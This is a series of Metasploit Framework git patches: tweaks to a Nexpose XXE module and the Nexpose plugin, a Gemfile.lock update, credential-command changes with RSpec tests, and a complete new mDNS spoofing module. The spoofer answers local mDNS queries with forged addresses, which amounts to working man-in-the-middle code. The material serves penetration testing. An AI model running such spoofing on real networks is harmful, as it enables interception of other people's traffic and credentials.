\ No newline at end of file From 1c6d7ee33e28d2ce7e14751b5d9e9e55c79435ca Mon Sep 17 00:00:00 2001 From: Louis Sato Date: Fri, 8 Apr 2016 20:37:13 -0500 Subject: [PATCH 041/426] additional changes for Nexpose XXE Arbitrary File Read --- modules/auxiliary/admin/http/nexpose_xxe_file_read.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c0636e47c6..f2f0640679 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -4,7 +4,7 @@ ## require 'msf/core' -require 'rapid7/nexpose' +require 'nexpose' class MetasploitModule < Msf::Auxiliary @@ -140,7 +140,7 @@ class MetasploitModule < Msf::Auxiliary print_status("Cleaning up") begin - nsc.site_delete id + nsc.delete_site id rescue print_warning("Error while cleaning up site ID, manual cleanup required!") end From 3ced5aece1663aec630efc1f0a76184f23673f8c Mon Sep 17 00:00:00 2001 From: Louis Sato Date: Tue, 12 Apr 2016 15:38:34 -0500 Subject: [PATCH 042/426] added default name for nexpose site cred --- plugins/nexpose.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb index 854a3dfd53..bd1380f6bf 100644 --- a/plugins/nexpose.rb +++ b/plugins/nexpose.rb @@ -385,7 +385,8 @@ class Plugin::Nexpose < Msf::Plugin when "-c" if (val =~ /^([^:]+):([^:]+):(.+)/) type, user, pass = [ $1, $2, $3 ] - newcreds = Nexpose::SiteCredentials.for_service("temporary_name", nil, nil, nil, nil, type) + msfid = Time.now.to_i + newcreds = Nexpose::SiteCredentials.for_service("Metasploit Site Credential #{msfid}", nil, nil, nil, nil, type) newcreds.user_name = user newcreds.password = pass opt_credentials << newcreds From 4af1b595cd5cb3b9ad4dba99b916854be069a1fa Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 25 Jan 2017 10:32:23 -0600 Subject: [PATCH 043/426] update Gemfile.lock --- Gemfile.lock | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Gemfile.lock b/Gemfile.lock index f882496a78..c844472dc8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -21,6 +21,7 @@ PATH nessus_rest net-ssh network_interface + nexpose nokogiri octokit openssl-ccm @@ -187,13 +188,14 @@ GEM mime-types-data (3.2016.0521) mini_portile2 (2.1.0) minitest (5.10.1) - msgpack (1.0.2) + msgpack (1.0.3) multi_json (1.12.1) multi_test (0.1.2) multipart-post (2.0.0) nessus_rest (0.1.6) net-ssh (4.0.1) network_interface (0.0.1) + nexpose (5.1.0) nokogiri (1.7.0.1) mini_portile2 (~> 2.1.0) octokit (4.6.2) From 5d255f11e10c76be34dc4ea5690e32685e60bc23 Mon Sep 17 00:00:00 2001 From: Joe Testa Date: Thu, 26 Jan 2017 16:18:11 -0600 Subject: [PATCH 044/426] Added MDNS query spoofing service. --- modules/auxiliary/spoof/mdns/mdns_response.rb | 253 ++++++++++++++++++ 1 file changed, 253 insertions(+) create mode 100644 modules/auxiliary/spoof/mdns/mdns_response.rb diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb new file mode 100644 index 0000000000..ef6cf38f8c --- /dev/null +++ b/modules/auxiliary/spoof/mdns/mdns_response.rb @@ -0,0 +1,253 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' +require 'ipaddr' +require 'net/dns' + +class MetasploitModule < Msf::Auxiliary + +include Msf::Exploit::Capture + +attr_accessor :sock, :thread + + + def initialize + super( + 'Name' => 'mDNS Spoofer', + 'Description' => %q{ + This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). + }, + 'Author' => [ 'Joe Testa ', 'James Lee ', 'Robin Francois ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] + ], + + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service' + ) + + register_options([ + OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]), + OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]), + OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']), + OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]), + ]) + + deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Parse the incoming MDNS packet. Quit if an exception was thrown. + dns_pkt = nil + begin + dns_pkt = ::Net::DNS::Packet.parse(packet) + rescue + return + end + + spoof4 = ::IPAddr.new(datastore['SPOOFIP4']) + spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue '' + + # Turn this packet into an authoritative response. + dns_pkt.header.qr = 1 + dns_pkt.header.aa = 1 + + qm = true + dns_pkt.question.each do |question| + name = question.qName + if datastore['REGEX'] != '.*' + unless name =~ /#{datastore['REGEX']}/i + vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + next + end + end + + # Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response. + if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type + qm = false + end + + # qType is not a Integer, so to compare it with `case` we have to + # convert it + responding_with = nil + case question.qType.to_i + when ::Net::DNS::A + dns_pkt.answer << ::Net::DNS::RR::A.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::A, + :address => spoof4.to_s + ) + responding_with = spoof4.to_s + when ::Net::DNS::AAAA + if spoof6 != '' + dns_pkt.answer << ::Net::DNS::RR::AAAA.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::AAAA, + :address => spoof6.to_s + ) + responding_with = spoof6.to_s + end + else + # Skip PTR, SRV, etc. records. + next + end + + # If we are responding to this query, and we haven't spammed stdout recently, print a notification. + if not responding_with.nil? and should_print_reply?(name) + print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}") + end + end + + # Clear the questions from the responses. They aren't observed in legit responses. + dns_pkt.question.clear() + + # If we didn't find anything we want to spoof, don't send any + # packets + return if dns_pkt.answer.empty? + + begin + udp = ::PacketFu::UDPHeader.new( + :udp_src => 5353, + :udp_dst => src_port, + :body => dns_pkt.data + ) + rescue + return + end + udp.udp_recalc + + # Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response. + dst = rhost + if rhost.ipv4? + if qm + dst = ::IPAddr.new('224.0.0.251') + end + ip_pkt = ::PacketFu::IPPacket.new( + :ip_src => spoof4.hton, + :ip_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + elsif rhost.ipv6? + if qm + dst = ::IPAddr.new('ff02::fb') + end + ip_pkt = ::PacketFu::IPv6Packet.new( + :ipv6_src => spoof6.hton, + :ipv6_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + else + # Should never get here + print_error("IP version is not 4 or 6. Failed to parse?") + return + end + ip_pkt.recalc + + capture_sendto(ip_pkt, rhost.to_s, true) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end + end + + + # Don't spam with success, just throttle to every 10 seconds + # per host + def should_print_reply?(host) + @notified_times ||= {} + now = Time.now.utc + @notified_times[host] ||= now + last_notified = now - @notified_times[host] + if last_notified == 0 or last_notified > 10 + @notified_times[host] = now + else + false + end + end + + def run + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + + # Multicast Address for LLMNR + multicast_addr = ::IPAddr.new("224.0.0.251") + + # The bind address here will determine which interface we receive + # multicast packets from. If the address is INADDR_ANY, we get them + # from all interfaces, so try to restrict if we can, but fall back + # if we can't + bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" + + optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton + self.sock = Rex::Socket.create_udp( + # This must be INADDR_ANY to receive multicast packets + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 5353, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) + + self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) { + monitor_socket + } + + print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...") + + add_socket(self.sock) + + self.thread.join + end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end +end From e5d8a64770dff8cbf48f21b7f720efd2dfcb13b0 Mon Sep 17 00:00:00 2001 From: darkbushido Date: Tue, 10 Jan 2017 15:55:06 -0600 Subject: [PATCH 045/426] adding the ability to create logins --- .../ui/console/command_dispatcher/creds.rb | 21 ++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/creds.rb b/lib/msf/ui/console/command_dispatcher/creds.rb index 626a8d82d0..17ce194365 100644 --- a/lib/msf/ui/console/command_dispatcher/creds.rb +++ b/lib/msf/ui/console/command_dispatcher/creds.rb @@ -202,7 +202,7 @@ class Creds end begin - params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','host','port') + params.assert_valid_keys('user','password','realm','realm-type','ntlm','ssh-key','hash','address','port','protocol', 'service-name') rescue ArgumentError => e print_error(e.message) end @@ -213,6 +213,13 @@ class Creds print_error("You can only specify a single Private type. Private types given: #{private_keys.join(', ')}") return end + + login_keys = params.slice('address','port','protocol','service-name') + if login_keys.any? and login_keys.length < 3 + missing_login_keys = ['host','port','proto','service-name'] - login_keys.keys + print_error("Creating a login requires a address, a port, and a protocol. Missing params: #{missing_login_keys}") + return + end data = { workspace_id: framework.db.workspace, @@ -260,9 +267,17 @@ class Creds data[:private_type] = :nonreplayable_hash data[:private_data] = params['hash'] end - + begin - create_credential(data) + if login_keys.any? + data[:address] = params['address'] + data[:port] = params['port'] + data[:protocol] = params['protocol'] + data[:service_name] = params['service-name'] + create_credential_and_login(data) + else + create_credential(data) + end rescue ActiveRecord::RecordInvalid => e print_error("Failed to add #{data['private_type']}: #{e}") end From c20cdc294316f44468c7facc8d3ff32a474833d7 Mon Sep 17 00:00:00 2001 From: darkbushido Date: Thu, 12 Jan 2017 16:17:12 -0600 Subject: [PATCH 046/426] cleaning up some of the specs --- .../console/command_dispatcher/creds_spec.rb | 779 +++++++++--------- 1 file changed, 391 insertions(+), 388 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb index 5b77460b24..6baeebf224 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/creds_spec.rb @@ -21,428 +21,431 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do let(:password) { 'thispass' } let(:realm) { 'thisrealm' } let(:realm_type) { 'Active Directory Domain' } - describe '-u' do - let(:nomatch_username) { 'thatuser' } - let(:nomatch_password) { 'thatpass' } - let(:blank_username) { '' } - let(:blank_password) { '' } - let(:nonblank_username) { 'nonblank_user' } - let(:nonblank_password) { 'nonblank_pass' } + context 'Searching' do + describe '-u' do + let(:nomatch_username) { 'thatuser' } + let(:nomatch_password) { 'thatpass' } + let(:blank_username) { '' } + let(:blank_password) { '' } + let(:nonblank_username) { 'nonblank_user' } + let(:nonblank_password) { 'nonblank_pass' } - let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } - - before(:example) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) - pub = FactoryGirl.create(:metasploit_credential_username, username: username) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) - nonblank_priv = FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: nonblank_priv, - public: blank_pub, - realm: nil, - workspace: framework.db.workspace) - nonblank_pub = FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) - blank_priv = FactoryGirl.create(:metasploit_credential_password, data: blank_password) - FactoryGirl.create(:metasploit_credential_core, - origin: origin, - private: blank_priv, - public: nonblank_pub, - realm: nil, - workspace: framework.db.workspace) - end - - context 'when the credential is present' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should match a regular expression' do - creds.cmd_creds('-u', "^#{username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - - it 'should return nothing for a non-matching regular expression' do - creds.cmd_creds('-u', "^#{nomatch_username}$") - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - - context 'and when the username is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-u', blank_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_pass Password' - ]) - end - end - context 'and when the password is blank' do - it 'should show a user that matches the given expression' do - creds.cmd_creds('-P', blank_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' nonblank_user Password' - ]) - end - end - end - - context 'when the credential is absent' do - context 'due to a nonmatching username' do - it 'should return a blank set' do - creds.cmd_creds('-u', nomatch_username) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - context 'due to a nonmatching password' do - it 'should return a blank set' do - creds.cmd_creds('-P', nomatch_password) - expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------' - ]) - end - end - end - end - - describe '-t' do - context 'with an invalid type' do - it 'should print the list of valid types' do - creds.cmd_creds('-t', 'asdf') - expect(@error).to match_array [ - 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' - ] - end - end - - context 'with valid types' do - let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - - let!(:pub) do - FactoryGirl.create(:metasploit_credential_username, username: username) - end - let!(:password_core) do - priv = FactoryGirl.create(:metasploit_credential_password, data: password) + let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } + + let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) } + let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) } + let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) } + let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) } + before(:example) do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) + origin: origin, + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: nonblank_priv, + public: blank_pub, + realm: nil, + workspace: framework.db.workspace) + + FactoryGirl.create(:metasploit_credential_core, + origin: origin, + private: blank_priv, + public: nonblank_pub, + realm: nil, + workspace: framework.db.workspace) end - # # Somehow this is hitting a unique constraint on Cores with the same - # # Public, even though it has a different Private. Skip for now - # let!(:ntlm_core) do - # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - # let!(:nonreplayable_core) do - # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') - # FactoryGirl.create(:metasploit_credential_core, - # origin: FactoryGirl.create(:metasploit_credential_origin_import), - # private: priv, - # public: pub, - # realm: nil, - # workspace: framework.db.workspace) - # end - - after(:example) do - # ntlm_core.destroy - password_core.destroy - # nonreplayable_core.destroy - end - - context 'password' do - it 'should show just the password' do - creds.cmd_creds('-t', 'password') - # Table matching really sucks + context 'when the credential is present' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', username) expect(@output).to eq([ - 'Credentials', - '===========', - '', - 'host origin service public private realm private_type', - '---- ------ ------- ------ ------- ----- ------------', - ' thisuser thispass Password' - ]) - end - end - - context 'ntlm' do - it 'should show just the ntlm' do - skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' - - creds.cmd_creds('-t', 'ntlm') - # Table matching really sucks - expect(@output).to =~ [ 'Credentials', '===========', '', - 'host service public private realm private_type', - '---- ------- ------ ------- ----- ------------', - " thisuser #{ntlm_hash} NTLM hash" + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should match a regular expression' do + creds.cmd_creds('-u', "^#{username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + + it 'should return nothing for a non-matching regular expression' do + creds.cmd_creds('-u', "^#{nomatch_username}$") + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + + context 'and when the username is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-u', blank_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_pass Password' + ]) + end + end + context 'and when the password is blank' do + it 'should show a user that matches the given expression' do + creds.cmd_creds('-P', blank_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' nonblank_user Password' + ]) + end + end + end + + context 'when the credential is absent' do + context 'due to a nonmatching username' do + it 'should return a blank set' do + creds.cmd_creds('-u', nomatch_username) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + context 'due to a nonmatching password' do + it 'should return a blank set' do + creds.cmd_creds('-P', nomatch_password) + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------' + ]) + end + end + end + end + + describe '-t' do + context 'with an invalid type' do + it 'should print the list of valid types' do + creds.cmd_creds('-t', 'asdf') + expect(@error).to match_array [ + 'Unrecognized credential type asdf -- must be one of password,ntlm,hash' ] end end - end - end - describe 'add' do - let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } - let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'with valid types' do + let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } - context 'username password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username and password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'password and realm' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: r, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'username' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: pub, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - - context 'private_types' do - context 'password' do - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "password:#{password}") - }.to change { Metasploit::Credential::Core.count }.by 1 + let!(:pub) do + FactoryGirl.create(:metasploit_credential_username, username: username) end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "password:#{password}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ntlm' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "ntlm:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'hash' do - let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do - FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: priv, - public: nil, - realm: nil, - workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "hash:#{priv.data}") - }.to_not change { Metasploit::Credential::Core.count } - end - end - context 'ssh-key' do - let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } - before(:each) do - @file = Tempfile.new('id_rsa') - @file.write(priv.data) - @file.close - end - it 'creates a core if one does not exist' do - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to change { Metasploit::Credential::Core.count }.by 1 - end - it 'does not create a core if it already exists' do + let!(:password_core) do + priv = FactoryGirl.create(:metasploit_credential_password, data: password) FactoryGirl.create(:metasploit_credential_core, origin: FactoryGirl.create(:metasploit_credential_origin_import), private: priv, public: pub, realm: nil, workspace: framework.db.workspace) - expect { - creds.cmd_creds('add', "user:#{username}", "ssh-key:#{@file.path}") - }.to_not change { Metasploit::Credential::Core.count } + end + + # # Somehow this is hitting a unique constraint on Cores with the same + # # Public, even though it has a different Private. Skip for now + # let!(:ntlm_core) do + # priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + # let!(:nonreplayable_core) do + # priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') + # FactoryGirl.create(:metasploit_credential_core, + # origin: FactoryGirl.create(:metasploit_credential_origin_import), + # private: priv, + # public: pub, + # realm: nil, + # workspace: framework.db.workspace) + # end + + after(:example) do + # ntlm_core.destroy + password_core.destroy + # nonreplayable_core.destroy + end + + context 'password' do + it 'should show just the password' do + creds.cmd_creds('-t', 'password') + # Table matching really sucks + expect(@output).to eq([ + 'Credentials', + '===========', + '', + 'host origin service public private realm private_type', + '---- ------ ------- ------ ------- ----- ------------', + ' thisuser thispass Password' + ]) + end + end + + context 'ntlm' do + it 'should show just the ntlm' do + skip 'Weird uniqueness constraint on Core (workspace_id, public_id)' + + creds.cmd_creds('-t', 'ntlm') + # Table matching really sucks + expect(@output).to =~ [ + 'Credentials', + '===========', + '', + 'host service public private realm private_type', + '---- ------- ------ ------- ----- ------------', + " thisuser #{ntlm_hash} NTLM hash" + ] + end end end end - - context 'realm-types' do - Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| - context "#{short_name}" do - let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } + end + describe 'Adding' do + let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } + let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } + let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } + context 'Cores with public privates and realms' do + context 'username password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + context 'username and realm' do it 'creates a core if one does not exist' do expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") }.to change { Metasploit::Credential::Core.count }.by 1 end it 'does not create a core if it already exists' do FactoryGirl.create(:metasploit_credential_core, - origin: FactoryGirl.create(:metasploit_credential_origin_import), - private: nil, - public: nil, - realm: r, - workspace: framework.db.workspace) + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: nil, + public: pub, + realm: r, + workspace: framework.db.workspace) expect { - creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") + creds.cmd_creds('add', "user:#{username}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username and password' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: pub, + realm: nil, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "user:#{username}", "password:#{password}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'password and realm' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to change { Metasploit::Credential::Core.count }.by 1 + end + it 'does not create a core if it already exists' do + FactoryGirl.create(:metasploit_credential_core, + origin: FactoryGirl.create(:metasploit_credential_origin_import), + private: priv, + public: nil, + realm: r, + workspace: framework.db.workspace) + expect { + creds.cmd_creds('add', "password:#{password}", "realm:#{realm}") + }.to_not change { Metasploit::Credential::Core.count } + end + end + + context 'username' do + it 'creates a core if one does not exist' do + expect { + creds.cmd_creds('add', "user:#{username}") + }.to change { Metasploit::Credential::Core.count }.by 1 